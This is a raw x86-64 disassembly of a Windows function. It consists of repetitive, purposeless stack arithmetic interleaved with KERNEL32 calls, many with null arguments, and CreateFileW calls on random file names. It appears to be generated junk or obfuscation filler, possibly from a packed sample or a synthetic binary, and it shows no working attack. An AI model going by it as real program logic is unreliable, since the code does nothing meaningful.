mov qword [rsp + 0xcd40], rax
lea rcx, [rsp + 0xacc0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xb250]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9ee8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbff8]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rax, qword [rsp + 0xc008]
mov rcx, qword [0x14022bd18]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7bf0], rax
mov rax, qword [rsp + 0xb8a8]
mov ecx, dword [rsp + 0x4cb4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3ae0], eax
mov rax, qword [rsp + 0xc2e8]
movsx eax, word [rax]
movsx ecx, word [0x14022bbbc]
sub eax, ecx
mov word [rsp + 0x106c], ax
mov rax, qword [rsp + 0xc7d8]
movzx eax, word [rax]
mov word [0x14022bfa0], ax
lea rcx, [rsp + 0xcd48]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x9cf0]
mov qword [rsp + 0xcd50], rax
mov rax, qword [rsp + 0xae38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1088]
shl eax, cl
mov word [rsp + 0x1e68], ax
lea rax, [rsp + 0x49d0]
mov qword [rsp + 0xcd58], rax
mov rax, qword [rsp + 0xcd10]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x386]
or eax, ecx
mov byte [rsp + 0x352], al
movsx eax, byte [rsp + 0x33d]
movsx ecx, byte [rsp + 0x29d]
xor eax, ecx
mov byte [rsp + 0x373], al
lea rax, [0x140229f30]
mov qword [rsp + 0xcd60], rax
mov rax, qword [rsp + 0xc8e8]
mov rcx, qword [rsp + 0x9f88]
mov qword [rsp + 0xcd68], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcd68]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xb4c0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1d40]
mov word [rsp + 0x20f8], ax
lea rax, [rsp + 0x177c]
mov qword [0x14022bfa8], rax
mov rax, qword [rsp + 0xa860]
mov rax, qword [rax]
mov rcx, qword [0x140229ff8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x80b0], rax
mov rax, qword [rsp + 0x7c50]
mov rcx, qword [rsp + 0xb980]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9bf8], rax
mov rax, qword [rsp + 0xc738]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc110]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1134], ax
movzx eax, word [rsp + 0x9f4]
mov rcx, qword [rsp + 0xb2b8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1838], ax
lea rax, [rsp + 0x211]
mov qword [rsp + 0xcd70], rax
mov rax, qword [rsp + 0xcb20]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbf98]
mov qword [rsp + 0xcd78], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcd78]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4a90], eax
mov rax, qword [rsp + 0xc3b8]
mov qword [rsp + 0xcd80], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov rax, qword [rsp + 0x9fb8]
mov rcx, qword [rsp + 0x97d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8d28], rax
mov rax, qword [rsp + 0xa558]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa7b0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14022b960]
mov word [rcx], ax
mov rax, qword [rsp + 0xa708]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d78]
add eax, ecx
mov rcx, qword [rsp + 0xb110]
mov word [rcx], ax
mov eax, dword [rsp + 0x49c8]
mov ecx, dword [rsp + 0x3af0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4238], eax
mov rax, qword [rsp + 0x9fe8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3e0]
or eax, ecx
mov byte [rsp + 0x383], al
mov rax, qword [rsp + 0xa4b8]
mov rax, qword [rax]
mov qword [rsp + 0xcd88], rax
mov eax, dword [rsp + 0x3d04]
mov rcx, qword [rsp + 0xa220]
mov qword [rsp + 0xcd90], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcd90]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3ff4], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xa6b7
mov rcx, qword [rsp + 0xb308]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x48ec], eax
mov rax, qword [rsp + 0x8440]
movzx ecx, al
mov rax, qword [rsp + 0xb9a0]
shr rax, cl
mov qword [rsp + 0xb4d8], rax
mov rax, qword [rsp + 0xa0b8]
movsx eax, byte [rax]
mov rcx, qword [0x14022b928]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x69], al
lea rdx, [rsp + 0x4bdc]
mov rcx, qword [rsp + 0xa0e8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4cd0], eax
lea rcx, [rsp + 0x9690]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, word [rsp + 0x1b80]
movsx ecx, word [rsp + 0x1ec4]
add eax, ecx
mov word [rsp + 0x1fdc], ax
mov rax, qword [rsp + 0x9820]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaf68]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x140229f28], ax
lea rax, [0x14022bdc0]
mov qword [rsp + 0xcd98], rax
movzx eax, word [rsp + 0x20b8]
movzx ecx, word [rsp + 0x1eb0]
and eax, ecx
mov rcx, qword [rsp + 0xb9a8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa050]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9f90]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1fdc], ax
mov rax, qword [0x14022baa8]
mov rax, qword [rax]
mov qword [rsp + 0xcda0], rax
movsx eax, byte [rsp + 0x10e]
movsx ecx, byte [rsp + 0x39e]
sar eax, cl
mov rcx, qword [rsp + 0x9e80]
mov byte [rcx], al
lea rdx, [rsp + 0x478c]
mov rcx, qword [rsp + 0x9ea0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4cd4], eax
lea rax, [rsp + 0x9d18]
mov qword [rsp + 0xcda8], rax
mov rax, qword [rsp + 0xb4b8]
mov ecx, dword [rsp + 0x3acc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc6a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc3d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbeb0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb10], ax
mov rax, qword [rsp + 0x7350]
mov rcx, qword [rsp + 0xb008]
xor rcx, rax
mov rax, rcx
mov qword [0x14022a170], rax
lea rax, [rsp + 0x39f0]
mov qword [rsp + 0xcdb0], rax
movzx eax, byte [rsp + 0x3ea]
mov rcx, qword [rsp + 0xc158]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x377], al
lea rax, [rsp + 0xa08]
mov qword [rsp + 0xcdb8], rax
mov rax, qword [rsp + 0xc7b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1088]
or eax, ecx
mov word [rsp + 0x1f5c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
mov eax, dword [rsp + 0x4894]
mov dword [rsp + 0x4cd8], eax
lea rdx, [rsp + 0x4cdc]
mov rcx, qword [rsp + 0xb000]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4c1c], eax
movsx eax, byte [rsp + 0xac]
movsx ecx, byte [rsp + 0x3cb]
imul eax, ecx
mov rcx, qword [rsp + 0xb718]
mov byte [rcx], al
mov eax, 0x38
imul rax, rax, 1
lea rcx, [rsp + 0x1e9d0]
add rcx, rax
mov rax, rcx
add rax, 0x10
mov dword [rax], 0xdabbde17
mov rax, qword [rsp + 0xac80]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc788]
shr rax, cl
mov rcx, qword [rsp + 0xa688]
mov qword [rcx], rax
lea rax, [rsp + 0x16c0]
mov qword [rsp + 0xcdc0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov rax, qword [rsp + 0xa1b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb18]
add eax, ecx
mov word [0x14022ba38], ax
mov rax, qword [0x14022bb18]
mov rcx, qword [rsp + 0xc8c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7008], rax
mov rax, qword [rsp + 0x8508]
mov rcx, qword [rsp + 0x7fd8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8378], rax
mov rax, qword [rsp + 0xcbc8]
mov rcx, qword [rsp + 0xc120]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcd88], rax
movsx eax, word [rsp + 0x20dc]
mov rcx, qword [rsp + 0xaf98]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xba20]
mov word [rcx], ax
mov rax, qword [rsp + 0xaa58]
mov qword [rsp + 0xcdc8], rax
movsx eax, byte [0x14022b812]
mov rcx, qword [rsp + 0xb640]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x388], al
lea rax, [rsp + 0x3e30]
mov qword [rsp + 0xcdd0], rax
mov rax, qword [rsp + 0xb450]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48c4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x402c], eax
lea rcx, [rsp + 0xbd58]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, byte [0x140229f1d]
movzx ecx, byte [rsp + 0x250]
add eax, ecx
mov byte [rsp + 0x35d], al
movzx eax, word [rsp + 0x9f8]
mov word [0x14022bfb0], ax
lea rax, [rsp + 0x1a0c]
mov qword [rsp + 0xcdd8], rax
movzx eax, word [rsp + 0x1f78]
movzx ecx, word [0x14022bad8]
xor eax, ecx
mov word [rsp + 0x1eb0], ax
mov rax, qword [rsp + 0xc768]
mov rcx, qword [rsp + 0x9be8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x70a8], rax
mov rax, qword [rsp + 0xb908]
movsx eax, byte [rax]
movsx ecx, byte [0x14022b810]
shl eax, cl
mov byte [rsp + 0x279], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
lea rax, [rsp + 0x9e58]
mov qword [rsp + 0xcde0], rax
mov rax, qword [rsp + 0xbe78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4c84]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b58], eax
mov rax, qword [rsp + 0xa970]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d58]
sar eax, cl
mov word [rsp + 0x1f8c], ax
mov rax, qword [rsp + 0xb6c0]
movzx eax, word [rax]
mov word [rsp + 0x20fc], ax
lea rcx, [rsp + 0xa178]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xbd88]
mov qword [0x14022bfb8], rax
movzx eax, word [rsp + 0x1dbc]
mov rcx, qword [rsp + 0xb9a8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbcb8]
mov word [rcx], ax
mov rax, qword [rsp + 0xbb38]
mov qword [rsp + 0xcde8], rax
mov rax, qword [rsp + 0xc768]
mov rcx, qword [rsp + 0xa1e0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x82d0], rax
mov rax, qword [rsp + 0xc198]
mov ecx, dword [rsp + 0x49c0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x484c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0xa7e8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0xca60]
mov qword [rsp + 0xcdf0], rax
mov rax, qword [rsp + 0x9998]
mov rcx, qword [rsp + 0xa550]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4818], eax
lea rax, [rsp + 0x320]
mov qword [rsp + 0xcdf8], rax
movsx eax, byte [0x14022b810]
mov rcx, qword [rsp + 0xab28]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3d6], al
mov rax, qword [rsp + 0x9c00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc328]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14022ba70]
mov word [rcx], ax
mov rax, qword [rsp + 0xaeb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x964]
sar eax, cl
mov word [rsp + 0x1e44], ax
mov rcx, qword [rsp + 0xb3c8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0x20d8]
mov rcx, qword [rsp + 0xba28]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1480], ax
movzx eax, word [rsp + 0x1660]
mov rcx, qword [rsp + 0x9fd8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xed4], ax
mov rax, qword [rsp + 0xa668]
mov qword [rsp + 0xce00], rax
mov eax, dword [rsp + 0x4cd8]
mov rcx, qword [rsp + 0xc338]
mov qword [rsp + 0xce08], rcx
movzx ecx, al
mov rax, qword [rsp + 0xce08]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x47d0], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x3049
mov rcx, qword [rsp + 0xa790]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4c8c], eax
movsx eax, byte [rsp + 0xf0]
mov rcx, qword [rsp + 0xab68]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3c8], al
movsx eax, word [0x14022b988]
movsx ecx, word [rsp + 0x1e98]
add eax, ecx
mov word [rsp + 0x894], ax
mov rax, qword [rsp + 0xa4f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa778]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa338]
mov word [rcx], ax
mov rax, qword [0x14022b848]
mov rcx, qword [rsp + 0xa0f8]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x14022be08]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8b08]
mov qword [rsp + 0xce10], rax
mov rax, qword [rsp + 0xc9b0]
mov rcx, qword [rsp + 0xb378]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xaed0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa9f8]
mov qword [rsp + 0xce18], rax
mov rax, qword [rsp + 0xb538]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaa30]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2038], ax
movzx eax, byte [rsp + 0x345]
movzx ecx, byte [rsp + 0x369]
and eax, ecx
mov rcx, qword [rsp + 0x9a28]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xce20], rax
mov eax, dword [rsp + 0x4758]
mov ecx, dword [rsp + 0x4a28]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3a80], eax
mov rax, qword [rsp + 0xafe0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9e28]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x38e], al
lea rax, [rsp + 0x7f78]
mov qword [rsp + 0xce28], rax
lea rax, [0x14022a134]
mov qword [0x14022bfc0], rax
mov rax, qword [rsp + 0x9c70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb0d8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1bb8], ax
lea rdx, [rsp + 0x4874]
mov rcx, qword [rsp + 0xc630]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47d4], eax
mov rax, qword [rsp + 0xaad8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbf38]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1efc], ax
lea rax, [0x14022bf8c]
mov qword [rsp + 0xce30], rax
mov rax, qword [rsp + 0xa8e0]
mov rcx, qword [rsp + 0xc4b0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xad68]
mov qword [rcx], rax
lea rax, [rsp + 0x8488]
mov qword [rsp + 0xce38], rax
mov rax, qword [rsp + 0xaa40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cd8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a90], eax
mov rax, qword [rsp + 0xcb78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x385]
sub eax, ecx
mov byte [rsp + 0x2ff], al
mov rax, qword [rsp + 0xc230]
movzx eax, word [rax]
mov word [rsp + 0x2100], ax
mov rax, qword [rsp + 0xccb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc770]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14022a178], ax
mov rax, qword [rsp + 0xc718]
mov rcx, qword [rsp + 0xcba0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc8c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xac00]
movzx eax, word [rax]
mov rcx, qword [0x14022bf48]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb24], ax
mov rax, qword [rsp + 0xcad8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x378]
sar eax, cl
mov byte [rsp + 0x310], al
mov eax, dword [rsp + 0x3db8]
mov ecx, dword [rsp + 0x3e9c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcd58]
mov dword [rcx], eax
movzx eax, byte [0x14022b813]
mov byte [rsp + 0x3eb], al
mov rax, qword [rsp + 0x9b98]
mov rcx, qword [rsp + 0xa098]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x88e0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x4020]
mov qword [rsp + 0xce40], rax
movsx eax, word [rsp + 0x894]
mov rcx, qword [rsp + 0xc750]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xbd0], ax
mov rcx, qword [rsp + 0xbdc0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xbcb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1fc4]
and eax, ecx
mov rcx, qword [0x14022bd08]
mov word [rcx], ax
mov rax, qword [rsp + 0xcac8]
mov rax, qword [rax]
mov qword [rsp + 0xce48], rax
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xa228]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7fd8], rax
movsx eax, word [rsp + 0x1cd4]
mov rcx, qword [rsp + 0xc050]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1d04], ax
movzx eax, word [rsp + 0x1d24]
movzx ecx, word [rsp + 0xd30]
or eax, ecx
mov word [rsp + 0x1008], ax
mov eax, dword [rsp + 0x471c]
movzx ecx, al
mov eax, dword [rsp + 0x4934]
shl eax, cl
mov dword [rsp + 0x4768], eax
mov rax, qword [rsp + 0xab98]
movzx eax, byte [rax]
mov byte [rsp + 0x3ec], al
mov r9d, 1
xor r8d, r8d
mov edx, 0x5ba9
mov rcx, qword [rsp + 0xa008]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x45e8], eax
mov rax, qword [0x14022b808]
mov rcx, qword [rsp + 0xa698]
mov qword [rsp + 0xce50], rcx
movzx ecx, al
mov rax, qword [rsp + 0xce50]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x97e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc640]
mov rcx, qword [rsp + 0xb028]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb358]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9f90]
movzx eax, word [rax]
mov word [0x14022bfc8], ax
lea rax, [0x14022b990]
mov qword [rsp + 0xce58], rax
mov rax, qword [rsp + 0xabf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x369]
add eax, ecx
mov rcx, qword [rsp + 0xc158]
mov byte [rcx], al
mov rax, qword [rsp + 0xb7e0]
mov ecx, dword [rsp + 0x3a80]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4010], eax
mov rax, qword [0x14022b880]
mov rcx, qword [rsp + 0xba90]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc900], rax
mov rax, qword [rsp + 0xb808]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa698]
mov qword [rsp + 0xce60], rcx
movzx ecx, al
mov rax, qword [rsp + 0xce60]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x92e0], rax
movzx eax, byte [rsp + 0x37f]
mov byte [rsp + 0x3ed], al
mov rax, qword [rsp + 0xc6a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4860]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41d0], eax
lea rax, [rsp + 0x1964]
mov qword [rsp + 0xce68], rax
mov rax, qword [rsp + 0xb548]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1094]
sub eax, ecx
mov word [0x14022bce8], ax
mov rax, qword [rsp + 0xbd98]
mov rcx, qword [rsp + 0xb780]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8378], rax
mov rax, qword [rsp + 0xb2b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa420]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1068], ax
mov rax, qword [0x14022bd30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc668]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xb8a0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa620]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcc68]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbbf8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4778]
mov dword [rsp + 0x4ce0], eax
mov rax, qword [0x14022bab8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb730]
movsx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xb510]
mov byte [rcx], al
lea rax, [rsp + 0xa098]
mov qword [rsp + 0xce70], rax
mov rcx, qword [rsp + 0xa380]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0x17c8]
mov rcx, qword [rsp + 0xca88]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1e40], ax
mov rax, qword [0x14022ba78]
mov rcx, qword [rsp + 0x9278]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x14022bb80]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa1b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc760]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb218]
mov byte [rcx], al
lea rax, [rsp + 0x4ad0]
mov qword [rsp + 0xce78], rax
mov rax, qword [rsp + 0xb7f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1684]
and eax, ecx
mov rcx, qword [rsp + 0xba98]
mov word [rcx], ax
mov rax, qword [rsp + 0xcc30]
movzx eax, word [rax]
mov word [rsp + 0x2104], ax
mov eax, dword [rsp + 0x45a0]
mov ecx, dword [rsp + 0x41d0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc2a0]
mov dword [rcx], eax
lea rcx, [rsp + 0xce80]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x9f88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb4c0]
mov qword [rsp + 0xce88], rcx
movzx ecx, al
mov rax, qword [rsp + 0xce88]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xb3e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb7c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbb88]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x124], al
movsx eax, word [rsp + 0x1f80]
movsx ecx, word [rsp + 0x1fa8]
and eax, ecx
mov word [rsp + 0x98c], ax
mov rcx, qword [rsp + 0xc440]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x1838]
mov qword [0x14022bfd0], rax
mov rax, qword [rsp + 0xbae0]
mov rax, qword [rax]
mov qword [rsp + 0xce90], rax
mov rax, qword [rsp + 0xc708]
mov rcx, qword [rsp + 0x73c0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8330], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xe8c4
mov rcx, qword [rsp + 0xaac8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4bbc], eax
mov rax, qword [rsp + 0xb1a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x78b8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9ed8]
mov qword [rcx], rax
lea rax, [rsp + 0x1d40]
mov qword [rsp + 0xce98], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.1092dH2oNTpv5c5442Qs
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xcea0], rax
mov rax, qword [rsp + 0xa638]
mov rcx, qword [rsp + 0x9ef0]
mov qword [rsp + 0xcea8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcea8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8380], rax
mov rcx, qword [rsp + 0x9b88]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xb8d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b74]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x418c], eax
mov rax, qword [rsp + 0xa0b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x36e]
sar eax, cl
mov byte [rsp + 0x13f], al
lea rax, [0x140229f1d]
mov qword [rsp + 0xceb0], rax
lea rdx, [rsp + 0x46bc]
mov rcx, qword [rsp + 0xa530]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4828], eax
mov rax, qword [rsp + 0xa910]
mov ecx, dword [rsp + 0x3e70]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4ab8], eax
mov rax, qword [rsp + 0xa970]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1e48]
add eax, ecx
mov word [0x14022a17c], ax
mov rax, qword [rsp + 0xa458]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb110]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb848]
mov word [rcx], ax
mov rax, qword [rsp + 0xad80]
movzx eax, word [rax]
mov word [rsp + 0x2108], ax
mov rax, qword [0x14022be00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce90]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa6c8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.YFMZwv_tuSpeo4a0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xceb8], rax
mov rax, qword [rsp + 0x7bf0]
mov qword [rsp + 0xcec0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x3da8]
mov ecx, dword [rsp + 0x4b88]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xad78]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x398]
mov rcx, qword [rsp + 0xac08]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3cd], al
lea rax, [rsp + 0x1fb8]
mov qword [rsp + 0xcec8], rax
movzx eax, word [rsp + 0x1754]
movzx ecx, word [rsp + 0x1e70]
add eax, ecx
mov word [rsp + 0x19b8], ax
mov rax, qword [rsp + 0xccc8]
mov rcx, qword [0x14022a0d8]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x140229f90], rax
lea rdx, [rsp + 0x47e8]
mov rcx, qword [rsp + 0xbb70]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4794], eax
lea rax, [rsp + 0x1c18]
mov qword [rsp + 0xced0], rax
mov rax, qword [rsp + 0xc8b8]
